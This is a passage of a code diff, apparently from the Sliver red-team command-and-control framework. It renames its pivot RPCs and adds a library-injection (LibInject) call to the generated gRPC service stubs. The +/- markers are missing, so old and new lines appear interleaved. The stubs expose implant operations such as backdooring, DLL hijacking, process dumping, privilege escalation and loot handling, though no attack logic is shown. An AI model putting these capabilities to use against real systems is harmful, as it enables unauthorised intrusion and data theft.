124, // 180: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
125, // 181: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
126, // 182: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
126, // 183: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
126, // 184: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
127, // 185: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
128, // 186: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
129, // 187: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
129, // 188: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
130, // 189: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
131, // 190: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
132, // 191: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
133, // 192: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
0, // 193: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
134, // 194: rpcpb.SliverRPC.PivotListeners:output_type -> sliverpb.PivotListeners
135, // 195: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
135, // 196: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
135, // 197: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
136, // 198: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
137, // 199: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
138, // 200: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
139, // 201: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
140, // 202: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
141, // 203: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
142, // 204: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
143, // 205: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
144, // 206: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
145, // 207: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
146, // 208: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
147, // 209: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
148, // 210: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
69, // 211: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
149, // 212: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
150, // 213: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
151, // 214: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
152, // 215: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
152, // 216: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
153, // 217: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
153, // 218: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
154, // 219: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
155, // 220: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
156, // 221: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
157, // 222: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
81, // 223: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
0, // 224: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
82, // 225: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
83, // 226: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 227: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
84, // 228: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
158, // 229: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
115, // [115:230] is the sub-list for method output_type
0, // [0:115] is the sub-list for method input_type
69, // 96: rpcpb.SliverRPC.LibInject:input_type -> sliverpb.LibInjectReq
70, // 97: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
71, // 98: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
72, // 99: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
73, // 100: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
74, // 101: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
75, // 102: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
76, // 103: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
77, // 104: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
78, // 105: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
79, // 106: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
80, // 107: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
81, // 108: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
82, // 109: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
82, // 110: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
83, // 111: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
84, // 112: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
84, // 113: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
85, // 114: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 115: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
86, // 116: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
87, // 117: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
0, // 118: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
88, // 119: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
89, // 120: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
90, // 121: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
3, // 122: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
0, // 123: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
91, // 124: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
4, // 125: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
92, // 126: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 127: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
93, // 128: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
94, // 129: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
95, // 130: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
96, // 131: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
97, // 132: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
98, // 133: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
98, // 134: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
99, // 135: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
99, // 136: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
11, // 137: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 138: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
11, // 139: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
11, // 140: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
100, // 141: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
100, // 142: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
101, // 143: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
12, // 144: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
0, // 145: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
0, // 146: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
102, // 147: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
102, // 148: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
103, // 149: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 150: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
104, // 151: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
105, // 152: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
106, // 153: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
107, // 154: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 155: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
17, // 156: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
108, // 157: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
109, // 158: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
110, // 159: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
111, // 160: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
20, // 161: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 162: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
20, // 163: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
20, // 164: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
20, // 165: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
23, // 166: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
112, // 167: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
113, // 168: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
114, // 169: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
115, // 170: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
116, // 171: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
117, // 172: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
117, // 173: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
118, // 174: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
119, // 175: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
120, // 176: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
121, // 177: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
122, // 178: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
123, // 179: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
124, // 180: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
125, // 181: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
126, // 182: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
127, // 183: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
127, // 184: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
127, // 185: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
128, // 186: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
129, // 187: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
130, // 188: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
130, // 189: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
131, // 190: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
132, // 191: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
133, // 192: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
134, // 193: rpcpb.SliverRPC.NamedPipes:output_type -> sliverpb.NamedPipes
135, // 194: rpcpb.SliverRPC.TCPListener:output_type -> sliverpb.TCPPivot
136, // 195: rpcpb.SliverRPC.ListPivots:output_type -> sliverpb.PivotList
137, // 196: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
137, // 197: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
137, // 198: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
138, // 199: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
139, // 200: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
140, // 201: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
141, // 202: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
142, // 203: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
143, // 204: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
144, // 205: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
145, // 206: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
146, // 207: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
147, // 208: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
148, // 209: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
149, // 210: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
150, // 211: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
151, // 212: rpcpb.SliverRPC.LibInject:output_type -> sliverpb.LibInject
70, // 213: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
152, // 214: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
153, // 215: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
154, // 216: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
155, // 217: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
155, // 218: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
156, // 219: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
156, // 220: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
157, // 221: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
158, // 222: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
159, // 223: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
160, // 224: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
82, // 225: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
0, // 226: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
83, // 227: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
84, // 228: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 229: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
85, // 230: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
161, // 231: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
116, // [116:232] is the sub-list for method output_type
0, // [0:116] is the sub-list for method input_type
0, // [0:0] is the sub-list for extension type_name
0, // [0:0] is the sub-list for extension extendee
0, // [0:0] is the sub-list for field type_name
+4 -6
View File
@@ -113,12 +113,9 @@ service SliverRPC {
rpc Sideload(sliverpb.SideloadReq) returns (sliverpb.Sideload);
rpc SpawnDll(sliverpb.InvokeSpawnDllReq) returns (sliverpb.SpawnDll);
rpc Screenshot(sliverpb.ScreenshotReq) returns (sliverpb.Screenshot);
// *** Pivots ***
rpc PivotStartListener(sliverpb.PivotStartListenerReq) returns (sliverpb.PivotListener);
rpc PivotStopListener(sliverpb.PivotStopListenerReq) returns (commonpb.Empty);
rpc PivotListeners(sliverpb.PivotListenersReq) returns (sliverpb.PivotListeners);
rpc NamedPipes(sliverpb.NamedPipesReq) returns (sliverpb.NamedPipes);
rpc TCPListener(sliverpb.TCPPivotReq) returns (sliverpb.TCPPivot);
rpc ListPivots(sliverpb.PivotListReq) returns (sliverpb.PivotList);
rpc StartService(sliverpb.StartServiceReq) returns (sliverpb.ServiceInfo);
rpc StopService(sliverpb.StopServiceReq) returns (sliverpb.ServiceInfo);
rpc RemoveService(sliverpb.RemoveServiceReq) returns (sliverpb.ServiceInfo);
@@ -135,6 +132,7 @@ service SliverRPC {
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
rpc HijackDLL(clientpb.DllHijackReq) returns (clientpb.DllHijack);
rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
rpc LibInject(sliverpb.LibInjectReq) returns (sliverpb.LibInject);
// Beacon only commands
rpc OpenSession(sliverpb.OpenSession) returns (sliverpb.OpenSession);
+78 -44
View File
@@ -112,10 +112,9 @@ type SliverRPCClient interface {
Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error)
SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawnDllReq, opts ...grpc.CallOption) (*sliverpb.SpawnDll, error)
Screenshot(ctx context.Context, in *sliverpb.ScreenshotReq, opts ...grpc.CallOption) (*sliverpb.Screenshot, error)
// *** Pivots ***
PivotStartListener(ctx context.Context, in *sliverpb.PivotStartListenerReq, opts ...grpc.CallOption) (*sliverpb.PivotListener, error)
PivotStopListener(ctx context.Context, in *sliverpb.PivotStopListenerReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
PivotListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error)
NamedPipes(ctx context.Context, in *sliverpb.NamedPipesReq, opts ...grpc.CallOption) (*sliverpb.NamedPipes, error)
TCPListener(ctx context.Context, in *sliverpb.TCPPivotReq, opts ...grpc.CallOption) (*sliverpb.TCPPivot, error)
ListPivots(ctx context.Context, in *sliverpb.PivotListReq, opts ...grpc.CallOption) (*sliverpb.PivotList, error)
StartService(ctx context.Context, in *sliverpb.StartServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error)
StopService(ctx context.Context, in *sliverpb.StopServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error)
RemoveService(ctx context.Context, in *sliverpb.RemoveServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error)
@@ -132,6 +131,7 @@ type SliverRPCClient interface {
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error)
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
LibInject(ctx context.Context, in *sliverpb.LibInjectReq, opts ...grpc.CallOption) (*sliverpb.LibInject, error)
// Beacon only commands
OpenSession(ctx context.Context, in *sliverpb.OpenSession, opts ...grpc.CallOption) (*sliverpb.OpenSession, error)
// Extensions
@@ -861,27 +861,27 @@ func (c *sliverRPCClient) Screenshot(ctx context.Context, in *sliverpb.Screensho
return out, nil
}
func (c *sliverRPCClient) PivotStartListener(ctx context.Context, in *sliverpb.PivotStartListenerReq, opts ...grpc.CallOption) (*sliverpb.PivotListener, error) {
out := new(sliverpb.PivotListener)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotStartListener", in, out, opts...)
func (c *sliverRPCClient) NamedPipes(ctx context.Context, in *sliverpb.NamedPipesReq, opts ...grpc.CallOption) (*sliverpb.NamedPipes, error) {
out := new(sliverpb.NamedPipes)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/NamedPipes", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) PivotStopListener(ctx context.Context, in *sliverpb.PivotStopListenerReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotStopListener", in, out, opts...)
func (c *sliverRPCClient) TCPListener(ctx context.Context, in *sliverpb.TCPPivotReq, opts ...grpc.CallOption) (*sliverpb.TCPPivot, error) {
out := new(sliverpb.TCPPivot)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/TCPListener", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) PivotListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error) {
out := new(sliverpb.PivotListeners)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotListeners", in, out, opts...)
func (c *sliverRPCClient) ListPivots(ctx context.Context, in *sliverpb.PivotListReq, opts ...grpc.CallOption) (*sliverpb.PivotList, error) {
out := new(sliverpb.PivotList)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ListPivots", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1032,6 +1032,15 @@ func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq
return out, nil
}
func (c *sliverRPCClient) LibInject(ctx context.Context, in *sliverpb.LibInjectReq, opts ...grpc.CallOption) (*sliverpb.LibInject, error) {
out := new(sliverpb.LibInject)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LibInject", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) OpenSession(ctx context.Context, in *sliverpb.OpenSession, opts ...grpc.CallOption) (*sliverpb.OpenSession, error) {
out := new(sliverpb.OpenSession)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/OpenSession", in, out, opts...)
@@ -1365,10 +1374,9 @@ type SliverRPCServer interface {
Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error)
SpawnDll(context.Context, *sliverpb.InvokeSpawnDllReq) (*sliverpb.SpawnDll, error)
Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error)
// *** Pivots ***
PivotStartListener(context.Context, *sliverpb.PivotStartListenerReq) (*sliverpb.PivotListener, error)
PivotStopListener(context.Context, *sliverpb.PivotStopListenerReq) (*commonpb.Empty, error)
PivotListeners(context.Context, *sliverpb.PivotListenersReq) (*sliverpb.PivotListeners, error)
NamedPipes(context.Context, *sliverpb.NamedPipesReq) (*sliverpb.NamedPipes, error)
TCPListener(context.Context, *sliverpb.TCPPivotReq) (*sliverpb.TCPPivot, error)
ListPivots(context.Context, *sliverpb.PivotListReq) (*sliverpb.PivotList, error)
StartService(context.Context, *sliverpb.StartServiceReq) (*sliverpb.ServiceInfo, error)
StopService(context.Context, *sliverpb.StopServiceReq) (*sliverpb.ServiceInfo, error)
RemoveService(context.Context, *sliverpb.RemoveServiceReq) (*sliverpb.ServiceInfo, error)
@@ -1385,6 +1393,7 @@ type SliverRPCServer interface {
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error)
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
LibInject(context.Context, *sliverpb.LibInjectReq) (*sliverpb.LibInject, error)
// Beacon only commands
OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error)
// Extensions
@@ -1649,14 +1658,14 @@ func (UnimplementedSliverRPCServer) SpawnDll(context.Context, *sliverpb.InvokeSp
func (UnimplementedSliverRPCServer) Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error) {
return nil, status.Errorf(codes.Unimplemented, "method Screenshot not implemented")
}
func (UnimplementedSliverRPCServer) PivotStartListener(context.Context, *sliverpb.PivotStartListenerReq) (*sliverpb.PivotListener, error) {
return nil, status.Errorf(codes.Unimplemented, "method PivotStartListener not implemented")
func (UnimplementedSliverRPCServer) NamedPipes(context.Context, *sliverpb.NamedPipesReq) (*sliverpb.NamedPipes, error) {
return nil, status.Errorf(codes.Unimplemented, "method NamedPipes not implemented")
}
func (UnimplementedSliverRPCServer) PivotStopListener(context.Context, *sliverpb.PivotStopListenerReq) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method PivotStopListener not implemented")
func (UnimplementedSliverRPCServer) TCPListener(context.Context, *sliverpb.TCPPivotReq) (*sliverpb.TCPPivot, error) {
return nil, status.Errorf(codes.Unimplemented, "method TCPListener not implemented")
}
func (UnimplementedSliverRPCServer) PivotListeners(context.Context, *sliverpb.PivotListenersReq) (*sliverpb.PivotListeners, error) {
return nil, status.Errorf(codes.Unimplemented, "method PivotListeners not implemented")
func (UnimplementedSliverRPCServer) ListPivots(context.Context, *sliverpb.PivotListReq) (*sliverpb.PivotList, error) {
return nil, status.Errorf(codes.Unimplemented, "method ListPivots not implemented")
}
func (UnimplementedSliverRPCServer) StartService(context.Context, *sliverpb.StartServiceReq) (*sliverpb.ServiceInfo, error) {
return nil, status.Errorf(codes.Unimplemented, "method StartService not implemented")
@@ -1706,6 +1715,9 @@ func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *clientpb.DllHija
func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetPrivs not implemented")
}
func (UnimplementedSliverRPCServer) LibInject(context.Context, *sliverpb.LibInjectReq) (*sliverpb.LibInject, error) {
return nil, status.Errorf(codes.Unimplemented, "method LibInject not implemented")
}
func (UnimplementedSliverRPCServer) OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error) {
return nil, status.Errorf(codes.Unimplemented, "method OpenSession not implemented")
}
@@ -3162,56 +3174,56 @@ func _SliverRPC_Screenshot_Handler(srv interface{}, ctx context.Context, dec fun
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_PivotStartListener_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.PivotStartListenerReq)
func _SliverRPC_NamedPipes_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.NamedPipesReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).PivotStartListener(ctx, in)
return srv.(SliverRPCServer).NamedPipes(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/PivotStartListener",
FullMethod: "/rpcpb.SliverRPC/NamedPipes",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).PivotStartListener(ctx, req.(*sliverpb.PivotStartListenerReq))
return srv.(SliverRPCServer).NamedPipes(ctx, req.(*sliverpb.NamedPipesReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_PivotStopListener_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.PivotStopListenerReq)
func _SliverRPC_TCPListener_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.TCPPivotReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).PivotStopListener(ctx, in)
return srv.(SliverRPCServer).TCPListener(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/PivotStopListener",
FullMethod: "/rpcpb.SliverRPC/TCPListener",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).PivotStopListener(ctx, req.(*sliverpb.PivotStopListenerReq))
return srv.(SliverRPCServer).TCPListener(ctx, req.(*sliverpb.TCPPivotReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_PivotListeners_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.PivotListenersReq)
func _SliverRPC_ListPivots_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.PivotListReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).PivotListeners(ctx, in)
return srv.(SliverRPCServer).ListPivots(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/PivotListeners",
FullMethod: "/rpcpb.SliverRPC/ListPivots",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).PivotListeners(ctx, req.(*sliverpb.PivotListenersReq))
return srv.(SliverRPCServer).ListPivots(ctx, req.(*sliverpb.PivotListReq))
}
return interceptor(ctx, in, info, handler)
}
@@ -3504,6 +3516,24 @@ func _SliverRPC_GetPrivs_Handler(srv interface{}, ctx context.Context, dec func(
